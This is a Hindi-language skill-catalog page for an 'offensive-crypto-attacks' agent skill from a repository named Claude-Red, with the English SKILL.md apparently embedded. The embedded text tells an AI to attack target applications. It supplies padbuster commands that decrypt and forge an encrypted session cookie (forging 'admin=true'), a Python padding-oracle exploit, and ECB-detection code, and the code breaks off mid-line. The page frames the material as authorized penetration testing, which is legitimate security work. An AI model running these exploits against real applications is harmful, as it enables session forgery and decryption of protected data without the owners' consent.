offensive-crypto-attacks
यह क्या करती है
यह स्किल ऐप में cryptography के गलत इस्तेमाल खोजने की एक कार्यप्रणाली है, जैसे कमज़ोर modes, padding की समस्याएँ और कमज़ोर signing। यह अनुमति के साथ यह देखने वाले सुरक्षा पेशेवरों के लिए है कि ऐप encryption कैसे इस्तेमाल करता है।
कब इस्तेमाल करें
- ✓जब आप अधिकृत ऐप परीक्षण में encrypted cookies या tokens की समीक्षा कर रहे हों।
- ✓जब आपको शक हो कि ऐप कमज़ोर encryption mode या गलत padding इस्तेमाल करता है।
- ✓जब आप जाँचना चाहते हों कि ऐप hashes या signed links कैसे बनाता है और उनमें कमज़ोरियाँ हैं या नहीं।
Skill का लिंक
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/crypto/offensive-crypto-attacks/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“हमें अपनी वेब ऐप के परीक्षण की अनुमति है। जाँचिए कि उसकी encrypted cookies कमज़ोर mode या padding इस्तेमाल करती हैं या नहीं।”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
स्किल उन जगहें पहचानती है जहाँ डेटा encrypt या sign होता है, फिर algorithm और mode का पता लगाती है। वह मिली कमज़ोरी का वर्गीकरण करती है और मूल कारण व सुधार दर्ज करती है।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
Cryptographic Implementation Attacks
You are performing offensive cryptographic analysis against target applications. This skill covers the identification and exploitation of flawed cryptographic implementations -- not breaks against the underlying mathematical primitives, but against the ways developers misuse them. You treat every encrypted blob, signed token, and hashed value as a potential attack surface.
Quick Workflow
- Identify cryptographic touchpoints -- cookies, tokens, API parameters, stored credentials, signed URLs.
- Fingerprint the algorithm and mode -- measure ciphertext length behavior, detect block alignment, check for Base64/hex encoding layers.
- Classify the vulnerability class -- padding oracle, ECB determinism, weak MAC construction, RSA parameter weakness, PRNG predictability.
- Select and configure the appropriate tool or custom script.
- Execute the attack, decrypt or forge the target value.
- Document the cryptographic weakness, its root cause, and the remediation path.
Padding Oracle Attacks
Padding oracle attacks exploit systems that reveal whether CBC-mode decrypted plaintext has valid PKCS7 padding. A single bit of information -- valid or invalid padding -- is sufficient to decrypt any ciphertext block or forge arbitrary plaintext without knowing the key.
Identify the oracle by submitting modified ciphertext and observing differential responses. The oracle can manifest as distinct HTTP status codes, different error messages, timing differences, or behavioral changes in application logic.
Use padbuster for automated exploitation against web applications:
# Decrypt an encrypted cookie value
# URL is the endpoint, EncryptedValue is the target, BlockSize is typically 8 or 16
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
-cookies "session=EncryptedValue" \
-encoding 0 \
-error "invalid"
# Forge a new plaintext value using the discovered oracle
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
-cookies "session=EncryptedValue" \
-encoding 0 \
-error "invalid" \
-plaintext "admin=true;user=attacker"
Build a custom padding oracle exploit when padbuster cannot handle the target's encoding or transport:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import requests
import struct
def oracle(iv, ciphertext, url):
"""Return True if the server accepts the padding."""
payload = (iv + ciphertext).hex()
resp = requests.get(url, params={"data": payload})
return resp.status_code != 500 # Adapt to your oracle signal
def decrypt_block(prev_block, cipher_block, url, block_size=16):
"""Decrypt a single block via Vaudenay's attack."""
intermediate = bytearray(block_size)
plaintext = bytearray(block_size)
for byte_pos in range(block_size - 1, -1, -1):
pad_val = block_size - byte_pos
crafted_iv = bytearray(block_size)
# Set already-recovered bytes to produce correct padding
for k in range(byte_pos + 1, block_size):
crafted_iv[k] = intermediate[k] ^ pad_val
for guess in range(256):
crafted_iv[byte_pos] = guess
if oracle(bytes(crafted_iv), cipher_block, url):
# Handle the ambiguity on the last byte
if byte_pos == block_size - 1:
crafted_iv[byte_pos - 1] ^= 1
if not oracle(bytes(crafted_iv), cipher_block, url):
continue
intermediate[byte_pos] = guess ^ pad_val
plaintext[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]
break
return bytes(plaintext)
ECB Block Manipulation
ECB mode encrypts each block independently with the same key, producing identical ciphertext for identical plaintext blocks. This determinism enables two primary attacks: cut-and-paste block rearrangement and byte-at-a-time decryption.
Detect ECB mode by encrypting repeated plaintext and checking for repeated ciphertext blocks:
def detect_ecb(ciphertext, block_size=16):
"""Detect ECB mode by finding duplicate blocks."""
blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
return len(blocks) != len(set(blocks))
# Probe an encryption oracle for ECB
# Send 3 blocks of identical bytes -- if 2+ output blocks match, it is ECB
probe = b"A" * (block_size * 3)
ciphertext = encryption
अक्सर पूछे जाने वाले सवाल
क्या यह cipher के पीछे के गणित पर हमला करती है?
नहीं। यह इस पर केंद्रित है कि डेवलपर cryptography कैसे इस्तेमाल करते हैं, न कि मूल algorithms को तोड़ने पर।
कमज़ोरी मिलने के बाद यह क्या सुझाती है?
यह कमज़ोरी, उसका मूल कारण और टीम के लिए सुधार का रास्ता दर्ज करती है।
क्या यह सिर्फ़ अधिकृत परीक्षणों के लिए है?
हाँ। यह लिखित अनुमति वाले मूल्यांकन के लिए लिखी गई है।
जानकारी
लेखक का मूल विवरण
Systematic methodology for identifying and exploiting cryptographic implementation weaknesses in real-world applications. Covers padding oracle attacks against CBC-mode ciphers with PKCS7 padding (Vaudenay's original attack through modern padbuster automation), ECB mode exploitation including block cut-and-paste and byte-at-a-time decryption, hash length extension attacks against SHA1/SHA256/MD5-based MACs using HashPump, RSA vulnerabilities including small public exponent, common modulus, Bleichenbacher PKCS1v1.5 padding oracle, and Coppersmith's method for partial key recovery. Addresses wea
repo: SnailSploit/Claude-Red
लोकप्रियता
- GitHub स्टार
- 10k
- रैंकिंग में स्थान
- #11953
- लाइसेंस
- MIT
- अपडेट की गई
- 12/10/2026
कमेंट
- …
इस repository की और skills
offensive-active-directory
10kआपके एजेंट को अधिकृत Active Directory सुरक्षा परीक्षण की योजना बनाने में मदद करती है, नेटवर्क मैपिंग से लेकर Domain Admin तक के हमला रास्ते खोजने तक।
offensive-netexec
10kआपके एजेंट को अधिकृत नेटवर्क परीक्षण के लिए NetExec (nxc) टूल इस्तेमाल करने में मदद करती है, जिसमें प्रोटोकॉल, प्रमाणीकरण और credential जाँच शामिल हैं।
offensive-api-abuse
10kआपके एजेंट को अधिकृत API सुरक्षा परीक्षण की योजना बनाने में मदद करती है, जो business logic के दुरुपयोग, GraphQL जोखिम और race conditions खोजते हैं।
offensive-api-security
10kआपके एजेंट को OWASP API Top 10 के आधार पर REST, gRPC और WebSocket API पर अधिकृत सुरक्षा परीक्षण चलाने में मदद करती है।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।